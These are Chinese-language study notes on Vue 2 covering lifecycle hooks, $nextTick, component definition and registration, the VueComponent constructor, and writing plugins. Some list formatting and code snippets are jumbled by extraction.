- 如果多个混入之间有冲突,以后面的为准
-
- 声明周期钩子 不以任何一个为准, 都会执行, 混合器中的 会先执行
-
生命周期
概念
-
又名 生命周期回调函数,生命周期函数, 生命周期钩子
-
Vue 在关键时刻帮我们调用的一些特殊名称的函数
-
生命周期函数的名字不可修改,但函数的具体内容是需要编写的
-
生命周期函数中的this 指向 是vm 或 组件实例对象
生命周期钩子 , new Vue 实例中的配置项函数
-
beforeCreate( ){ } 创建之前
- 在初始化生命周期,事件以后, 数据代理之前 无法通过 vm 访问到data中的数据和 methods 中的方法
-
created( ) { } 创建完毕
- 初始化数据监测,数据代理之后 可以通过 vm访问到 data 中的数据,methods中配置的方法
-
beforeMount( ){ } 挂载之前
beforeCreate(){
console.log(this);
// 这里的操作在断点之前是奏效的, 断点以后不再奏效
debugger; // 断点需要打开控制台 刷新页面使用
},
- 此时页面呈现的是未经Vue编译的DOM 结构,所有对DOM的操作最终都不奏效.数据已经更改了,但是页面还没有重新渲染,可以获取到更改后的数据
-
mounted( ){ } 挂载完毕
- 初始真实DOM 放入(挂载完毕) 到 页面以后 调用 , 只调用一次
-
Mounted
-
beforeUpdate( ) { }
- 此时 数据是新的, 页面是旧的, 页面尚未和数据保持同步
-
updated( ) { }
- 此时 数据是新的, 页面也是新的, 页面和数据保持同步
-
-
Destroyed
-
beforeDestroy( ) { }
- 此时, vm 中所有的 data,methods,指令(能访问到数据,能调用函数,能改变数据,但不能触发更新)等都处于可用状态, 马上要执行销毁命令, 一般在此阶段 关闭定时器,取消订阅消息,解绑自定义事件等
-
destroyed( ){ }
-
销毁工作结束
- 销毁后,借助Vue开发者工具看不到任何信息, 销毁后自定义事件会失效,原生DOM事件依然有效
-
-
实例上的生命周期
-
vm.$mount
-
vm.$forceUpdate
-
vm.$nextTick
-
vm.$nextTick(回调函数)
-
将传入的回调函数,延迟到下一次 DOM 更新完成以后再执行, 和全局方法 Vue.nextTick 一样,不同的是 这里的回调中的 this 自动绑定到调用他的实例上(vm)
-
什么时候会使用? 当改变数据后,要基于更新后的 新DOM 进行某些操作时使用.
-
例
-
给 input 获取焦点
-
- 给指定的 input 一个 属性 ref = '参数'
-
-
给想要获取焦点的 input 框 的事件中 进行处理
- 事件中使用 this.$nextTick(回调)
- 回调中写 this.$refs.参数.focus( )
-
- 此方法适用于动态渲染input框的时候, 因为 input框 需要在渲染到页面以后才能获取到
-
-
-
-
-
vm.$destroy
组件
概念
-
实现应用中局部功能代码和资源的集合
-
单文件组件
- 一个文件中包含1个组件
-
非单文件组件
- 一个文件中包含 n 个组件
-
特点
-
- 复用性
-
- 组件之间松散解耦, 互不影响
-
- 复杂工程拆解
-
使用步骤
Vue.component("school",school) // 定义全局组件 const school = Vue.extend({ //el:'#root' 组件中不能使用el配置项, 因为最终所有的组件都要被一个vm管理,由vm决定服务于谁 写了 el 也会被 temlpate 覆盖 template:`
-
-
定义组件
-
组件名
- 一个单词的时候, 首字母可以大写 也可以小写, 不论定义时是啥,开发者工具显示的都是首字母大写
- 多个单词组成的时候,
-
-
-
单词与单词之间用 - 链接用 " " 包裹名, 开发者工具呈现的是驼峰式
-
在脚手架环境中 ,使用驼峰式 如 MySchool, 不使用脚手架报错
-
name
- 定义组件的时候, 可以添加一个 name 属性, 指定组件在开发者工具中呈现的名字, 使用的时候还是原名
-
-
-
注册组件
-
局部组件 和全局组件
-
局部组件
const vm = new Vue({ el: '#app', data: { }, // 局部组件定义在实例中,只能在当前实例中使用 components: { hello: { template: ` <div> <h2>{{title}}</h2> </div> `, data(){ return { title: 'hello子组件' } } } } })
-
每一次实例 vm 的时候 都需要注册
-
简写形式
- const school = {配置对象} 不写Vue.extend
-
-
全局组件
Vue.component('wdzzj', { // 组件配置 - new Vue里面能有东西,在这里也都能有 // 1.必须有template参数 - 值是一个html模板字符串 // template中必须要有一个唯一的根标签 template:'<div><h2>{{msg}}</h2><p>{{msg}}</p></div>', // 2.如果需要在组件中定义数据 - data // 但是data必须是一个函数,且函数必须有返回值,且返回的必须是一个对象 // 数据写在return的对象中 data(){ return { msg: '我是子组件' } } })
- 另一个 vm 实例想要使用的时候, 不需要重新注册, 在页面中直接使用标签即可
- 语法: Vue.component(组件名,原名)
-
-
全局组件不需要注册
-
-
-
-
使用组件(写组件标签)
- 组件标签可以写双标签, 也可以写单标签(自闭和)或 不使用脚手架, 用自闭和标签, 会有bug 写多个,只能生效一个
-
-
组件嵌套
- 注册给谁 去谁的结构里面写, 组件嵌套组件, 组件中 使用 components: {配置} 配置子组件, 但 子组件必须在 父组件定义之前定义, 子组件只能应用于父组件的结构中
定义 app 组件 顶级组件
-
vm 组件 下面是 app 有 app 组件管理所有分支组件
- const app = Vue.extend({ template:
使用组件
,components:{组件1,组件2,组件3}}) - 只管理最父级组件, 子组件不需要
- const app = Vue.extend({ template:
-
使用的时候 实例化的时候可以定义template:"" , 则el绑定的时候就会直接使用组件了
VueComponent 构造函数
-
组件就是一个 VueComponent 构造函数
- 是Vue.extend 生成的
- 使用了 组件标签, Vue 解析时就会创建组件的实例对象, 即 new VueComponent(options)
- 每一次调用 Vue.extend 返回的都是一个新的 VueComponent
-
this 指向
- 组件配置中 data,methods,watch,computed, 他们的this 指向 VueComponent 实例对象
-
VueComponent 的实例对象 简称 vc (组件实例对象)
- 也有数据代理,数据劫持
-
在 Vue 实例中 是 vm 的 children 里面的属性 是一个数组 , 子组件同样 是出现在 子元素中的 children 里面
-
VueComponent .prototype.proto === Vue.prototype
- 让组件的实例对象 vc 可以访问到 Vue 原型上的属性和方法
组件事件
-
组件中的事件绑定 默认都是 自定义事件
- 如何在组件中使用原生事件?
- 绑定原生事件时 加 native 如 @click.native
-
自定义事件两种定义方式 在 脚手架-----> 传值----> 自定义事件中
插件
用于增强Vue
- 本质, 是包含了 install 方法的一个对象, 这个方法有两个参数, 第一个参数是 Vue, 第二个参数以后的参数是插件使用者传递的数据
定义插件
-
可以使用导出的语法, 使用的时候导入,可以定义多个方法,使用Vue定义, 所有vm 和 vc 实例都可以使用
export default{ install(Vue){ // 这里定义各种 配置 console.log('@@@install',Vue); Vue.mixin({ data(){ return{ messg:'我是插件定义的一个全局 混入属性哦,所有的vm 和 vc 都拥有我' } } }) } }
-
如果定义的插件是一个函数,则可以直接 use 不需要配置 install
-
函数定义解析
Vue.use((VueClass)=>{VueClass.prototype.bus = new Vue({data:()({msg:'这里的数据每一个实例都可以得到了'}))}) 函数注册组件咋注册? 使用的时候 直接通过 this.bus.msg 就能拿到 new Vue中挂载的数据, 其他如果写了方法啥的也能拿到
-
使用插件
-
在入口文件中使用,可以定义多个插件,通过use方法引用
import plugins from './plugins' // import plugins from './plugins' // 关闭 Vue 的生产提示 Vue.config.productionTip = false
// 应用插件 Vue.use(plugins)